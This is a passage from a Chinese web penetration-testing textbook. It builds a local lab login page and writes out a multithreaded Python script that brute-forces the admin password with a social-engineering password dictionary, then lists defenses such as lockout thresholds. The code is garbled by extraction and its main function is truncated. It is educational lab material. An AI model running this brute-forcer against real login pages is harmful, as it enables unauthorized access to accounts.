网站的运营管理不能缺少后台管理系统的支持,若能成功进入后台管理系
统,就意味着在Web渗透测试中成功了一大半。进行非授权登录有很多种方法, 这里主要介绍的是弱口令问题,破解弱口令是进入系统的最常见也是最有效的方 法,防御方要对该方法加以重视。
7.2.1 编写脚本
首先,我们需要在靶机上搭建服务器,这里靶机的系统为Windows 10(IP地 址为192.168.123.124),具体步骤如下。
首先安装phpStudy并启动服务,这样服务器就会在80端口上对外提供HTTP的 服务,如图7-3所示。
图7-3 安装phpStudy并启动服务
然后将这里的靶场源码文件(WeakPass-word)复制到phpStudy的网站根目录 下。可以点击phpStudy界面上的“其他选项菜单”按钮,再选择“ 网站根目录” ,此 时会自动弹出网站根目录。
打开浏览器,输入http://192.168.123.124/WeakPassword/login.html ,如图7-4所 示。
图7-4 靶机页面
提示:若出现无法访问靶机网页的情况,请检查靶机的防火墙是否开放80端 口。
此时靶机的HTTP服务是正常启动的,这里还需要在数据库中增加管理员的 账号、密码数据。接下来需要在靶机服务器上安装Navicat for MySQL工具来管理 数据库,该工具界面如图7-5所示。
图7-5 Navicat for MySQL工具
点击“连接”按钮,新建一个MySQL连接,填写的信息如下:
这里需要注意的是,IP地址127.0.0.1和localhost都表示本地的MySQL数据 库,如果将IP地址填写为靶机服务器的IP地址192.168.123.124 ,则会出现拒绝连 接的情况,如图7-6所示。
图7-6 拒绝连接
这是因为MySQL默认是拒绝远程用户通过root进行登录的,可修改MySQL数 据库中user表的内容来解决这个问题。填写完信息后,可以点击“连接测试”按钮 来测试数据库是否能够正常访问,如果能正常访问,则会出现“连接成功” 的提
示,如图7-7所示。
然后点击“确定”按钮,连接就会出现在左侧栏的连接信息窗口里面。接下来 双击打开数据库并右击,选择“运行SQL文件”命令,选择ms08067.sql文件并点 击“开始”按钮,成功导入数据时会出现如图7-8所示的提示。
图7-7 连接成功
图7-8 导入数据成功
到这里,我们的靶场环境就搭建成功了。
接下来,需要对网页提交的POST数据包进行分析,找出弱口令破解所需要的 字段信息。这里使用Burp Suite对网页提交的数据包进行拦截并查看,信息如下所 示:
此时,将这个数据包发送出去,网页中会出现“Login failed!” 的提示,说明 登录失败。
假设在前期的信息搜集过程中我们知道了该后台系统管理员的个人基本信息 (这里采用7.1.1节中的数据),那么,现在只需要让脚本读取7.1.1节生成的社会 工程学密码字典文件,并模拟发送POST数据包,若返回的页面内不包含“Login failed!”字符串信息,则表示我们找到了正确的密码。
设计思路:为了确保爆破弱密码的高效性,我们采用了多线程的方式,让脚 本分别读取目录下的username和passwords文件的内容,并将读取到的内容根据
BLOCK_SIZE的大小分割成许多的账户块和密码块,让每个子线程遍历自己分配 到的账户块和密码块中的数据,模拟POST请求进行破解,若子线程找到了正确的 账户密码,则显示结果并保存到result文件中,然后退出脚本。
接下来就可以开始编写后台密码爆破脚本了。
1)写入脚本信息,导入相关的模块:
#!/usr/bin/python3 # -*- coding: utf-8 -*- import os import threading import requests # 分块大小 BLOCK_SIZE = 1000 |
2)编写列表分块函数,将传入的列表分割成多个子列表: |
# 列表分块函数 |
def partition(ls, size) : |
return [ls[i :i+size] for i in range(0,len(ls),size)] |
3)编写破解函数,该函数主要负责对数据进行分割、创建子线程并分配任 务等前期工作: |
def BruteForceHttp() : # 读取账号文件和密码文件并存入对应列表 listUsername = [line .strip() for line in open("username")] listPassword = [line .strip() for line in open("passwords")] # 对账号列表和密码列表进行分块处理 blockUsername = partition(listUsername, BLOCK_SIZE) blockPassword = partition(listPassword, BLOCK_SIZE) threads = [] # 把不同的密码子块分给不同的线程去破解 for sonUserBlock in blockUsername: for sonPwdBlock in blockPassword : # 传入账号子块和密码子块实例化任务 work = ThreadWork(sonUserBlock,sonPwdBlock) # 创建线程 workThread = threading .Thread(target=work.start) # 在threads中加入线程 threads .append(workThread) # 开始子线程 for t in threads: t.start() # 阻塞主线程,等待所有子线程完成工作 for t in threads: t.join() |
4)创建子线程任务类,在其中具体定义子线程应该如何进行破解工作: |
class ThreadWork :
# 目标URL
url = "http://192 .168 .123 .124/WeakPassword/login .php"
headers = {
'User-Agent ' : 'Mozilla/5 .0 (Macintosh; Intel Mac OS X 10 7 3) AppleWebKit/535 .20 '
'(KHTML, like Gecko) '
'Chrome/19 .0 .1036 .7 Safari/535 .20 '
}
# 类的构造函数
def __init__(self,username,password) :
self.username = username
self.password = password
# 根据传入的账户密码进行破解
def run(self,username,password) :
data = {
'username ' : username,
'password ' : password,
'submit ' : '%E7%99%BB%E5%BD%95 '
}
# 显示正在尝试的数据
print("username:{},password :{}" .format(username,password))
# 发送post请求
response = requests .post(self.url,data=data,headers=self.headers)
# 根据返回的内容中是否包含登录失败的提示来判断是否登录成功
if 'Login failed! ' in response .text :
pass
else:
# 找到正确的账户密码后,就把账户密码显示出来并输出到result文件中,并 让程序终止
print("success !!! username: {}, password : {}" .format
(username, password))
resultFile = open( 'result ', 'w ')
resultFile .write("success !!! username: {}, password : {}" . format(username, password))
resultFile .close()
# 程序终止,0表示正常退出
os ._exit(0)
# 从传递进来的账户子块和密码子块中遍历数据
def start(self) :
for userItem in self.username:
for pwdItem in self.password :
# 传入账户和密码数据进行破解
self.run(userItem,pwd Item)
5)编写main 函数: |
if __name__ == '__main__ ' : print("\n#####################################") print("# print("# print("# |
这样我们的破解脚本就完成了。运行后结果如下所示:
7.2.2 防御策略
通过上述编写脚本的过程我们也可以看出,通过脚本使具有可能性的密码组 合不断地猜解后台的密码,很有可能找到弱口令。因此,要预防弱口令爆破,可 以使用以下方式:
· 设定密码验证阈值,超过阈值将进行锁定。
·使用的密码尽量具有一定的复杂性,避免使用个人信息作为密码。推荐使用 类似1Password的密码管理工具。
· 定期更换密码。
· 更改后台的默认路径,避免后台地址被猜测到。